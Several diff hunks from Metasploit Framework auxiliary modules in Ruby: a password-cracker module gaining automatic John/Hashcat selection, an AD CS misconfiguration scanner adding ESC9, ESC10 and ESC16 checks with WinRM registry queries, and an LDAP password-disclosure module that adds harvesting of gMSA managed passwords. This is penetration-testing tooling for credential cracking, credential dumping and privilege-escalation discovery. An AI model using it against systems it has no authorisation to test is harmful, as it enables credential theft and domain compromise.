job = hash_job(hash_type, @cracker_type)
if job.nil?
print_status("No #{hash_type} found to crack")
else
@@ -118,8 +125,6 @@ class MetasploitModule < Msf::Auxiliary
# Inner array format: db_id, hash_type, username, password, method_of_crack
results = []
cracker = new_password_cracker(action.name)
# generate our wordlist and close the file handle.
wordlist = wordlist_file
unless wordlist
@@ -142,7 +147,7 @@ class MetasploitModule < Msf::Auxiliary
# dupe our original cracker so we can safely change options between each run
cracker_instance = cracker.dup
cracker_instance.format = format
if action.name == 'john'
if @cracker_type == 'john'
cracker_instance.fork = datastore['FORK']
end
@@ -153,7 +158,7 @@ class MetasploitModule < Msf::Auxiliary
job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list
next if job['cred_ids_left_to_crack'].empty?
if action.name == 'john'
if @cracker_type == 'john'
print_status "Cracking #{format} hashes in single mode..."
cracker_instance.mode_single(wordlist.path)
show_command cracker_instance
@@ -194,7 +199,7 @@ class MetasploitModule < Msf::Auxiliary
print_status "Cracking #{format} hashes in wordlist mode..."
cracker_instance.mode_wordlist(wordlist.path)
# Turn on KoreLogic rules if the user asked for it
if action.name == 'john' && datastore['KORELOGIC']
if @cracker_type == 'john' && datastore['KORELOGIC']
cracker_instance.rules = 'KoreLogicRules'
print_status 'Applying KoreLogic ruleset...'
end
+16 -12
View File
@@ -30,8 +30,9 @@ class MetasploitModule < Msf::Auxiliary
'Actions' => [
['john', { 'Description' => 'Use John the Ripper' }],
['hashcat', { 'Description' => 'Use Hashcat' }],
['auto', { 'Description' => 'Auto-selection of cracker' }]
],
'DefaultAction' => 'john',
'DefaultAction' => 'auto',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
@@ -62,9 +63,9 @@ class MetasploitModule < Msf::Auxiliary
def show_command(cracker_instance)
return unless datastore['ShowCommand']
if action.name == 'john'
if @cracker_type == 'john'
cmd = cracker_instance.john_crack_command
elsif action.name == 'hashcat'
elsif @cracker_type == 'hashcat'
cmd = cracker_instance.hashcat_crack_command
end
print_status(" Cracking Command: #{cmd.join(' ')}")
@@ -102,7 +103,7 @@ class MetasploitModule < Msf::Auxiliary
fields = password_line.split(':')
cred = { 'hash_type' => hash_type, 'method' => method }
if action.name == 'john'
if @cracker_type == 'john'
# If we don't have an expected minimum number of fields, this is probably not a hash line
next unless fields.count > 2
@@ -136,7 +137,7 @@ class MetasploitModule < Msf::Auxiliary
cred['password'] = john_lm_upper_to_ntlm(password, nt_hash)
end
next if cred['password'].nil?
elsif action.name == 'hashcat'
elsif @cracker_type == 'hashcat'
next unless fields.count >= 2
cred['core_id'] = fields.shift
@@ -164,7 +165,12 @@ class MetasploitModule < Msf::Auxiliary
def run
tbl = cracker_results_table
cracker = new_password_cracker(action.name)
if action.name == 'auto'
@cracker_type = cracker.get_type
else
@cracker_type = action.name
end
# array of hashes in jtr_format in the db, converted to an OR combined regex
hash_types_to_crack = []
hash_types_to_crack << 'lm' if datastore['LANMAN']
@@ -178,7 +184,7 @@ class MetasploitModule < Msf::Auxiliary
# build our job list
hash_types_to_crack.each do |hash_type|
job = hash_job(hash_type, action.name)
job = hash_job(hash_type, @cracker_type)
if job.nil?
print_status("No #{hash_type} found to crack")
else
@@ -196,8 +202,6 @@ class MetasploitModule < Msf::Auxiliary
# Inner array format: db_id, hash_type, username, password, method_of_crack
results = []
cracker = new_password_cracker(action.name)
# generate our wordlist and close the file handle.
wordlist = wordlist_file
unless wordlist
@@ -220,7 +224,7 @@ class MetasploitModule < Msf::Auxiliary
# dupe our original cracker so we can safely change options between each run
cracker_instance = cracker.dup
cracker_instance.format = format
if action.name == 'john'
if @cracker_type == 'john'
cracker_instance.fork = datastore['FORK']
end
@@ -231,7 +235,7 @@ class MetasploitModule < Msf::Auxiliary
job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list
next if job['cred_ids_left_to_crack'].empty?
if action.name == 'john'
if @cracker_type == 'john'
print_status "Cracking #{format} hashes in single mode..."
cracker_instance.mode_single(wordlist.path)
show_command cracker_instance
@@ -274,7 +278,7 @@ class MetasploitModule < Msf::Auxiliary
print_status "Cracking #{format} hashes in wordlist mode..."
cracker_instance.mode_wordlist(wordlist.path)
# Turn on KoreLogic rules if the user asked for it
if action.name == 'john' && datastore['KORELOGIC']
if @cracker_type == 'john' && datastore['KORELOGIC']
cracker_instance.rules = 'KoreLogicRules'
print_status 'Applying KoreLogic ruleset...'
end
@@ -98,7 +98,7 @@ class MetasploitModule < Msf::Auxiliary
end
def conduct_dos
datastore['URI']
uri = datastore['URI']
rhost = datastore['RHOST']
ranges = ''
@@ -1,11 +1,17 @@
require 'winrm'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::LDAP
include Msf::Exploit::Remote::LDAP::ActiveDirectory
include Msf::OptionalSession::LDAP
include Rex::Proto::MsDnsp
include Rex::Proto::Secauthz
include Rex::Proto::LDAP
include Rex::Proto::CryptoAsn1
include Rex::Proto::MsCrtd
class LdapWhoamiError < StandardError; end
ADS_GROUP_TYPE_BUILTIN_LOCAL_GROUP = 0x00000001
ADS_GROUP_TYPE_GLOBAL_GROUP = 0x00000002
@@ -13,13 +19,19 @@ class MetasploitModule < Msf::Auxiliary
ADS_GROUP_TYPE_SECURITY_ENABLED = 0x80000000
ADS_GROUP_TYPE_UNIVERSAL_GROUP = 0x00000008
# https://learn.microsoft.com/en-us/defender-for-identity/security-assessment-edit-vulnerable-ca-setting
EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000
REFERENCES = {
'ESC1' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ],
'ESC2' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ],
'ESC3' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ],
'ESC4' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ],
'ESC9' => [ SiteReference.new('URL', 'https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7') ],
'ESC10' => [ SiteReference.new('URL', 'https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7') ],
'ESC13' => [ SiteReference.new('URL', 'https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53') ],
'ESC15' => [ SiteReference.new('URL', 'https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc') ]
'ESC15' => [ SiteReference.new('URL', 'https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc') ],
'ESC16' => [ SiteReference.new('URL', 'https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation') ]
}.freeze
SID = Struct.new(:value, :name) do
@@ -57,11 +69,14 @@ class MetasploitModule < Msf::Auxiliary
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC4,
ESC13, and ESC15. The module is limited to checking for these techniques due to them being identifiable
remotely from a normal user account by analyzing the objects in LDAP.
The module can also check for ESC9, ESC10 and ESC16 but this requires an Administrative WinRM session to be
established to definitively check for these techniques.
},
'Author' => [
'Grant Willcox', # Original module author
'Spencer McIntyre', # ESC13 and ESC15 updates
'jheysel-r7' # ESC4 update
'jheysel-r7' # ESC4, ESC9 and ESC10 update
],
'References' => REFERENCES.values.flatten.map { |r| [ r.ctx_id, r.ctx_val ] }.uniq,
'DisclosureDate' => '2021-06-17',
@@ -82,6 +97,7 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptBool.new('REPORT_NONENROLLABLE', [true, 'Report nonenrollable certificate templates', false]),
OptBool.new('REPORT_PRIVENROLLABLE', [true, 'Report certificate templates restricted to domain and enterprise admins', false]),
OptBool.new('RUN_REGISTRY_CHECKS', [true, 'Authenticate to WinRM to query the registry values to enhance reporting for ESC9 and ESC10. Must be a privleged user in order to query successfully', false]),
])
end
@@ -328,106 +344,207 @@ class MetasploitModule < Msf::Auxiliary
end
def find_esc4_vuln_cert_templates
# Determine who we are authenticating with. Retrieve the username and user SID
whoami_response = ''
begin
whoami_response = @ldap.ldapwhoami
rescue Net::LDAP::Error => e
print_warning("The module failed to run the ldapwhoami command, ESC4 detection can't continue. Error was: #{e.class}: #{e.message}.")
return
end
if whoami_response.empty?
print_error("Unable to retrieve the username using ldapwhoami, ESC4 detection can't continue")
return
end
sam_account_name = whoami_response.split('\\')[1]
user_raw_filter = "(sAMAccountName=#{sam_account_name})"
attributes = ['DN', 'objectSID', 'objectClass', 'primarygroupID']
our_account = query_ldap_server(user_raw_filter, attributes)&.first
if our_account.nil?
print_warning("Unable to determine the User SID for #{sam_account_name}, ESC4 detection can't continue")
return
end
user_sid = map_sids_to_names([Rex::Proto::MsDtyp::MsDtypSid.read(our_account[:objectsid].first).value]).first
domain_sid = user_sid.value.to_s.rpartition('-').first
user_groups = []
if our_account[:primarygroupID]
user_groups << "#{domain_sid}-#{our_account[:primarygroupID]&.first}"
end
# Authenticated Users includes all users and computers with identities that have been authenticated.
# Authenticated Users doesn't include Guest even if the Guest account has a password.
unless sam_account_name == 'Guest'
user_groups << Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID
end
# Perform an LDAP query to get the groups the user is a part of
# Use LDAP_MATCHING_RULE_IN_CHAIN OID in order to walk the chain of ancestry of groups.
# https://learn.microsoft.com/en-us/windows/win32/adsi/search-filter-syntax?redirectedfrom=MSDN
filter_with_user = "(|(member:1.2.840.113556.1.4.1941:=#{our_account[:dn].first})"
user_groups.each do |sid|
obj = get_object_by_sid(sid)
print_error('Failed to lookup SID.') unless obj
filter_with_user << "(member:1.2.840.113556.1.4.1941:=#{obj[:dn].first})" if obj
end
filter_with_user << ')'
attributes = ['cn', 'objectSID']
esc_entries = query_ldap_server(filter_with_user, attributes)
esc_entries.each do |entry|
group_sid = Rex::Proto::MsDtyp::MsDtypSid.read(entry['ObjectSid'].first).value
user_groups << group_sid
end
user_groups = map_sids_to_names(user_groups)
# Determine what Certificate Templates are available to us
esc_raw_filter = '(objectclass=pkicertificatetemplate)'
attributes = ['cn', 'description', 'ntSecurityDescriptor']
esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: CERTIFICATE_TEMPLATES_BASE)
return if esc_entries.empty?
# Determine if the user we've authenticated with has the ability to edit
current_user = adds_get_current_user(@ldap)[:samaccountname].first
esc_entries.each do |entry|
certificate_symbol = entry[:cn][0].to_sym
next if @certificate_details[certificate_symbol][:enroll_sids].empty?
# SIDs that can edit the template
write_priv_sids = @certificate_details[certificate_symbol][:write_sids]
next if write_priv_sids.empty?
if adds_obj_grants_permissions?(@ldap, entry, SecurityDescriptorMatcher::Allow.any(%i[WP]))
@certificate_details[certificate_symbol][:techniques] << 'ESC4'
@certificate_details[certificate_symbol][:notes] << "ESC4: The account: #{current_user} has edit permissions over the template #{certificate_symbol}."
end
end
end
# Check if the user has been give access to edit the template
user_can_edit = user_sid if write_priv_sids.include?(user_sid)
def parse_registry_output(output, property_name)
return nil if output.stderr.present?
# Check if any groups the user is a part of can edit the template
group_can_edit = write_priv_sids & user_groups
stdout = output.stdout if output.stdout.present?
return nil unless stdout
# SIDs that can edit the template that the user we've authenticated with are also a part of
user_write_priv_sids = []
notes = []
line_with_property = stdout.lines.find { |line| line.strip.match(/^#{Regexp.escape(property_name)}\s*:/) }
return nil unless line_with_property
# Main reason for splitting user_can_edit and group_can_edit is so "note" can be more descriptive
if user_can_edit
user_write_priv_sids << user_can_edit
notes << "ESC4: The account: #{sam_account_name} has edit permissions over the template #{certificate_symbol} making it vulnerable to ESC4"
line_with_property.split(':', 2).last&.strip
end
def run_registry_command(shell, path, property_name, dynamic_value = nil)
full_path = dynamic_value ? "#{path}\\#{dynamic_value}" : path
command = "Get-ItemProperty -Path '#{full_path}' -Name #{property_name}"
output = shell.run(command)
value = parse_registry_output(output, property_name)
if value.nil?
print_error("Registry property '#{property_name}' not found at path '#{full_path}'.")
end
value
end
def enum_registry_values
@registry_values ||= {}
endpoint = "http://#{datastore['RHOST']}:5985/wsman"
domain = adds_get_domain_info(@ldap)[:dns_name]
user = adds_get_current_user(@ldap)[:sAMAccountName].first.to_s
pass = datastore['LDAPPassword']
conn = WinRM::Connection.new(
endpoint: endpoint,
domain: domain,
user: user,
password: pass,
transport: :negotiate
)
begin
conn.shell(:powershell) do |shell|
@registry_values[:certificate_mapping_methods] = run_registry_command(shell, 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\Schannel', 'CertificateMappingMethods').to_i
@registry_values[:strong_certificate_binding_enforcement] = run_registry_command(shell, 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Kdc', 'StrongCertificateBindingEnforcement').to_i
active_policy_name = run_registry_command(shell, 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\*\\PolicyModules', 'Active')
@registry_values[:disable_extension_list] = run_registry_command(shell, 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\*\\PolicyModules', 'DisableExtensionList', active_policy_name)
@registry_values[:edit_flags] = run_registry_command(shell, 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\*\\PolicyModules', 'EditFlags', active_policy_name).to_i
end
rescue StandardError => e
vprint_warning("Failed to query registry values: #{e.message}")
end
@registry_values
end
def resolve_group_memberships(user_dn)
filter = "(member:1.2.840.113556.1.4.1941:=#{ldap_escape_filter(user_dn)})"
attributes = ['distinguishedName', 'objectSID', 'sAMAccountName']
groups = query_ldap_server(filter, attributes)
groups.map do |group|
{
dn: group[:distinguishedname].first,
sid: Rex::Proto::MsDtyp::MsDtypSid.read(group[:objectsid].first).value,
name: group[:samaccountname].first
}
end
end
def fetch_group_members(group_dn)
filter = "(distinguishedName=#{ldap_escape_filter(group_dn)})"
attributes = ['member'] # Fetch the 'member' attribute which contains the group members
group_entry = query_ldap_server(filter, attributes)&.first
return [] unless group_entry && group_entry[:member]
group_entry[:member]
end
def find_users_with_write_and_enroll_rights(enroll_sids)
users = []
enroll_sids.each do |sid|
ldap_object = adds_get_object_by_sid(@ldap, sid.value)
if ldap_object && ldap_object[:objectclass]&.include?('user')
if (ldap_object[:ntsecuritydescriptor]) && adds_obj_grants_permissions?(@ldap, ldap_object, SecurityDescriptorMatcher::Allow.any(%i[WP]))
users << ldap_object[:samaccountname].first
end
next
end
if group_can_edit.any?
user_write_priv_sids.concat(group_can_edit)
notes << "ESC4: The account: #{sam_account_name} is a part of the following groups: (#{group_can_edit.map(&:name).join(', ')}) which have edit permissions over the template object"
next unless ldap_object && ldap_object[:objectclass]&.include?('group')
member_objects = adds_query_group_members(@ldap, ldap_object[:dn].first, object_class: 'user', inherited: true).to_a
member_objects.each do |member_object|
next unless member_object[:ntsecuritydescriptor]
next if users.include?(member_object[:samaccountname].first)
if adds_obj_grants_permissions?(@ldap, member_object, SecurityDescriptorMatcher::Allow.any(%i[WP]))
users << member_object[:samaccountname].first
end
end
end
users&.uniq
end
def find_esc9_vuln_cert_templates
esc9_raw_filter = '(&'\
'(objectclass=pkicertificatetemplate)'\
"(mspki-enrollment-flag:1.2.840.113556.1.4.803:=#{CT_FLAG_NO_SECURITY_EXTENSION})"\
'(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))'\
'(|'\
"(pkiextendedkeyusage=#{OIDs::OID_KP_SMARTCARD_LOGON.value})"\
"(pkiextendedkeyusage=#{OIDs::OID_PKIX_KP_CLIENT_AUTH.value})"\
"(pkiextendedkeyusage=#{OIDs::OID_ANY_EXTENDED_KEY_USAGE.value})"\
'(!(pkiextendedkeyusage=*))'\
')'\
'(|'\
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_SUBJECT_ALT_REQUIRE_UPN})"\
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_SUBJECT_ALT_REQUIRE_DNS})"\
')'\
')'
esc9_templates = query_ldap_server(esc9_raw_filter, CERTIFICATE_ATTRIBUTES, base_prefix: CERTIFICATE_TEMPLATES_BASE)
esc9_templates.each do |template|
certificate_symbol = template[:cn][0].to_sym
enroll_sids = @certificate_details[certificate_symbol][:enroll_sids]
users = find_users_with_write_and_enroll_rights(enroll_sids)
next if users.empty?
user_plural = users.size > 1 ? 'accounts' : 'account'
has_plural = users.size > 1 ? 'have' : 'has'
current_user = adds_get_current_user(@ldap)[:samaccountname].first
note = "ESC9: The account: #{current_user} has edit permission over the #{user_plural}: #{users.join(', ')} which #{has_plural} enrollment rights for this template."
if @registry_values[:strong_certificate_binding_enforcement].present?
note += " Registry value: StrongCertificateBindingEnforcement=#{@registry_values[:strong_certificate_binding_enforcement]}."
end
@certificate_details[certificate_symbol][:techniques] << 'ESC9'
@certificate_details[certificate_symbol][:notes] << note
end
end
def find_esc10_vuln_cert_templates
esc10_raw_filter = '(&'\
'(objectclass=pkicertificatetemplate)'\
'(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))'\
'(|'\
"(pkiextendedkeyusage=#{OIDs::OID_KP_SMARTCARD_LOGON.value})"\
"(pkiextendedkeyusage=#{OIDs::OID_PKIX_KP_CLIENT_AUTH.value})"\
"(pkiextendedkeyusage=#{OIDs::OID_ANY_EXTENDED_KEY_USAGE.value})"\
'(!(pkiextendedkeyusage=*))'\
')'\
'(|'\
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_SUBJECT_ALT_REQUIRE_UPN})"\
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_SUBJECT_ALT_REQUIRE_DNS})"\
')'\
')'
esc10_templates = query_ldap_server(esc10_raw_filter, CERTIFICATE_ATTRIBUTES, base_prefix: CERTIFICATE_TEMPLATES_BASE)
esc10_templates.each do |template|
certificate_symbol = template[:cn][0].to_sym
enroll_sids = @certificate_details[certificate_symbol][:enroll_sids]
users = find_users_with_write_and_enroll_rights(enroll_sids)
next if users.empty?
user_plural = users.size > 1 ? 'accounts' : 'account'
has_plural = users.size > 1 ? 'have' : 'has'
current_user = adds_get_current_user(@ldap)[:samaccountname].first
note = "ESC10: The account: #{current_user} has edit permission over the #{user_plural}: #{users.join(', ')} which #{has_plural} enrollment rights for this template."
if @registry_values[:strong_certificate_binding_enforcement].present? && @registry_values[:certificate_mapping_methods].present?
note += " Registry values: StrongCertificateBindingEnforcement=#{@registry_values[:strong_certificate_binding_enforcement]}, CertificateMappingMethods=#{@registry_values[:certificate_mapping_methods]}."
end
next unless user_write_priv_sids.any?
@certificate_details[certificate_symbol][:techniques] << 'ESC4'
@certificate_details[certificate_symbol][:notes].concat(notes)
@certificate_details[certificate_symbol][:techniques] << 'ESC10'
@certificate_details[certificate_symbol][:notes] << note
end
end
@@ -520,6 +637,39 @@ class MetasploitModule < Msf::Auxiliary
query_ldap_server_certificates(esc_raw_filter, 'ESC15', notes: notes)
end
def find_esc16_vuln_cert_templates
esc16_raw_filter = '(&'\
'(|'\
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_SUBJECT_ALT_REQUIRE_UPN})"\
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_SUBJECT_ALT_REQUIRE_DNS})"\
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME})"\
')'\
'(objectclass=pkicertificatetemplate)'\
'(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))'\
'(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))'\
'(pkiextendedkeyusage=*)'\
')'
esc_entries = query_ldap_server(esc16_raw_filter, CERTIFICATE_ATTRIBUTES, base_prefix: CERTIFICATE_TEMPLATES_BASE)
return if esc_entries.empty?
if @registry_values[:strong_certificate_binding_enforcement] && (@registry_values[:strong_certificate_binding_enforcement] == 0 || @registry_values[:strong_certificate_binding_enforcement] == 1)
# Scenario 1 - StrongCertificateBindingEnforcement = 1 or 0 then it's same same as ESC9 - mark them all as vulnerable
esc_entries.each do |entry|
certificate_symbol = entry[:cn][0].to_sym
@certificate_details[certificate_symbol][:techniques] << 'ESC16'
@certificate_details[certificate_symbol][:notes] << "ESC16: Template is vulnerable due StrongCertificateBindingEnforcement = #{@registry_values[:strong_certificate_binding_enforcement]} and the CA's disabled policy extension list includes: 1.3.6.1.4.1.311.25.2."
end
elsif @registry_values[:edit_flags] & EDITF_ATTRIBUTESUBJECTALTNAME2 != 0
# Scenario 2 - StrongCertificateBindingEnforcement = 2 (or nil) but if EditFlags in the active policy module has EDITF_ATTRIBUTESUBJECTALTNAME2 set then ESC6 is essentially re-enabled and we mark them all as vulnerable
esc_entries.each do |entry|
certificate_symbol = entry[:cn][0].to_sym
@certificate_details[certificate_symbol][:techniques] << 'ESC16'
@certificate_details[certificate_symbol][:notes] << 'ESC16: Template is vulnerable due to the active policy EditFlags having: EDITF_ATTRIBUTESUBJECTALTNAME2 set (which is essentially ESC6) combined with the CA\'s disabled policy extension list including: 1.3.6.1.4.1.311.25.2.'
end
end
end
def find_enrollable_vuln_certificate_templates
# For each of the vulnerable certificate templates, determine which servers
# allows users to enroll in that certificate template and which users/groups
@@ -648,7 +798,19 @@ class MetasploitModule < Msf::Auxiliary
print_status(" Distinguished Name: #{hash[:dn]}")
print_status(" Manager Approval: #{hash[:manager_approval] ? '%redRequired' : '%grnDisabled'}%clr")
print_status(" Required Signatures: #{hash[:required_signatures] == 0 ? '%grn0' : '%red' + hash[:required_signatures].to_s}%clr")
print_good(" Vulnerable to: #{techniques.join(', ')}")
if @registry_values.present?
print_good(" Vulnerable to: #{techniques.join(', ')}")
else
print_good(" Vulnerable to: #{(techniques - %w[ESC9 ESC10]).join(', ')}")
if techniques.include?('ESC9')
print_warning(' Potentially vulnerable to: ESC9 (the template is in a vulnerable configuration but in order to exploit registry key StrongCertificateBindingEnforcement must not be set to 2)')
end
if techniques.include?('ESC10')
print_warning(' Potentially vulnerable to: ESC10 (the template is in a vulnerable configuration but in order to exploit registry key StrongCertificateBindingEnforcement must be set to 0 or CertificateMappingMethods must be set to 4)')
end
end
if hash[:notes].present? && hash[:notes].length == 1
print_status(" Notes: #{hash[:notes].first}")
elsif hash[:notes].present? && hash[:notes].length > 1
@@ -729,7 +891,7 @@ class MetasploitModule < Msf::Auxiliary
def get_object_by_sid(object_sid)
object_sid = Rex::Proto::MsDtyp::MsDtypSid.new(object_sid)
object = @ldap_objects.find { |o| o['objectSID'].first == object_sid.to_binary_s }
object = @ldap_objects.find { |o| o['objectSID']&.first == object_sid.to_binary_s }
if object.nil?
object = query_ldap_server("(objectSID=#{ldap_escape_filter(object_sid.to_s)})", nil)&.first
@@ -792,10 +954,18 @@ class MetasploitModule < Msf::Auxiliary
ip_addresses
end
def validate
super
if (datastore['RUN_REGISTRY_CHECKS']) && !%w[auto plaintext ntlm].include?(datastore['LDAP::Auth'].downcase)
raise Msf::OptionValidateError, ["RUN_REGISTRY_CHECKS is incompatible with LDAP::Auth type '#{datastore['LDAP::Auth']}'. Supported types are: plaintext, NTLM."]
end
end
def run
# Define our instance variables real quick.
@base_dn = nil
@ldap_objects = []
@registry_values = {}
@fqdns = {}
@certificate_details = {} # Initialize to empty hash since we want to only keep one copy of each certificate template along with its details.
@@ -821,12 +991,30 @@ class MetasploitModule < Msf::Auxiliary
@certificate_details[certificate_symbol] = build_certificate_details(template)
end
registry_values = enum_registry_values if datastore['RUN_REGISTRY_CHECKS']
find_esc1_vuln_cert_templates
find_esc2_vuln_cert_templates
find_esc3_vuln_cert_templates
find_esc4_vuln_cert_templates
if registry_values.blank?
find_esc9_vuln_cert_templates
find_esc10_vuln_cert_templates
else
if registry_values[:strong_certificate_binding_enforcement] != 2
find_esc9_vuln_cert_templates
end
if registry_values[:strong_certificate_binding_enforcement] == 1 || registry_values[:certificate_mapping_methods] & 4 > 0
find_esc10_vuln_cert_templates
end
end
find_esc13_vuln_cert_templates
find_esc15_vuln_cert_templates
if registry_values && registry_values[:disable_extension_list]&.include?('1.3.6.1.4.1.311.25.2')
find_esc16_vuln_cert_templates
end
find_enrollable_vuln_certificate_templates
print_vulnerable_cert_info
+165 -93
View File
@@ -11,14 +11,16 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::MsGkdi
include Msf::Exploit::Remote::LDAP
include Msf::Exploit::Remote::LDAP::ActiveDirectory
include Msf::Exploit::Remote::LDAP::Queries
include Msf::OptionalSession::LDAP
include Msf::Util::WindowsCryptoHelpers
include Msf::Exploit::Deprecated
moved_from 'auxiliary/gather/ldap_hashdump'
LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800'.freeze
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword msds-managedpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
def initialize(info = {})
super(
@@ -27,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'LDAP Password Disclosure',
'Description' => %q{
This module will gather passwords and password hashes from a target LDAP server via multiple techniques
including Windows LAPS.
including Windows LAPS. For best results, run with SSL because some attributes are only readable over
encrypted connections.
},
'Author' => [
'Spencer McIntyre', # LAPS updates
@@ -67,59 +70,6 @@ class MetasploitModule < Msf::Auxiliary
defined?(:session) && session
end
def get_ad_ds_domain_info(ldap)
vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...')
root_dse = ldap.search(
ignore_server_caps: true,
base: '',
scope: Net::LDAP::SearchScope_BaseObject,
attributes: %i[configurationNamingContext supportedCapabilities supportedExtension]
)&.first
unless root_dse[:supportedcapabilities].map(&:to_s).include?(LDAP_CAP_ACTIVE_DIRECTORY_OID)
print_status('The target LDAP server is not an Active Directory Domain Controller.')
return nil
end
unless root_dse[:supportedextension].include?(Net::LDAP::WhoamiOid)
print_status('The target LDAP server is not an Active Directory Domain Controller.')
return nil
end
print_status('The target LDAP server is an Active Directory Domain Controller.')
unless ldap.search(base: '', filter: '(objectClass=domain)').nil?
# this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
# means we'll be getting information from more than one domain which breaks some core assumptions
# see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
fail_with(Msf::Module::Failure::NoTarget, 'The target LDAP server is a Global Catalog.')
end
target_domains = ldap.search(
base: root_dse[:configurationnamingcontext].first.to_s,
filter: "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ldap.base_dn}))"
)
unless target_domains.present?
fail_with(Msf::Module::Failure::NotFound, 'The target LDAP server did not return its NETBIOS domain name.')
end
unless target_domains.length == 1
fail_with(Msf::Module::Failure::NotFound, "The target LDAP server returned #{target_domains.length} NETBIOS domain names.")
end
target_domain = target_domains.first
{
netbios_name: target_domain[:netbiosname].first.to_s,
dns_name: target_domain[:dnsroot].first.to_s
}
end
def ad_domain?
@ad_ds_domain_info.nil?
end
# PoC using ldapsearch(1):
#
# Retrieve root DSE with base DN:
@@ -147,10 +97,22 @@ class MetasploitModule < Msf::Auxiliary
vprint_status("Using the '#{datastore['USER_ATTR']}' attribute as the username")
end
@ad_ds_domain_info = get_ad_ds_domain_info(ldap)
vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...')
if is_active_directory?(ldap)
print_status('The target LDAP server is an Active Directory Domain Controller.')
@ad_ds_domain_info = adds_get_domain_info(ldap)
else
print_status('The target LDAP server is not an Active Directory Domain Controller.')
@ad_ds_domain_info = nil
end
print_status("Searching base DN: #{base_dn}")
entries_returned += ldap_search(ldap, base_dn, base: base_dn)
unless @ad_ds_domain_info.nil?
attributes = %w[dn msDS-ManagedPassword sAMAccountName]
attributes << datastore['USER_ATTR'] unless datastore['USER_ATTR'].blank? || attributes.include?(datastore['USER_ATTR'])
entries_returned += ldap_search(ldap, base_dn, base: base_dn, filter: '(objectClass=msDS-GroupManagedServiceAccount)', attributes: attributes)
end
end
# Safe if server did not return anything
@@ -180,7 +142,7 @@ class MetasploitModule < Msf::Auxiliary
entries_returned += 1
password_attributes.each do |attr|
if entry[attr].any?
creds_found += process_hash(entry, attr)
creds_found += process_entry(entry, attr)
end
end
end
@@ -226,7 +188,7 @@ class MetasploitModule < Msf::Auxiliary
hash
end
def process_hash(entry, attr)
def process_entry(entry, attr)
creds_found = 0
username = [datastore['USER_ATTR'], 'sAMAccountName', 'uid', 'dn'].map { entry[_1] }.reject(&:blank?).first.first
@@ -267,39 +229,80 @@ class MetasploitModule < Msf::Auxiliary
if attr =~ /^samba(lm|nt)password$/
next if private_data.length != 32
next if private_data.case_cmp?('aad3b435b51404eeaad3b435b51404ee') || private_data.case_cmp?('31d6cfe0d16ae931b73c59d7e0c089c0')
next if private_data.case_cmp?(EMPTY_LM.unpack1('H*'))
next if private_data.case_cmp?(EMPTY_NT.unpack1('H*'))
end
# observed sambapassword history with either 56 or 64 zeros
next if attr == 'sambapasswordhistory' && private_data =~ /^(0{64}|0{56})$/
jtr_format = nil
annotation = ''
artifacts = SecretArtifact.new(public_data: username, private_data: private_data, private_type: :password)
case attr
when 'sambalmpassword'
jtr_format = 'lm'
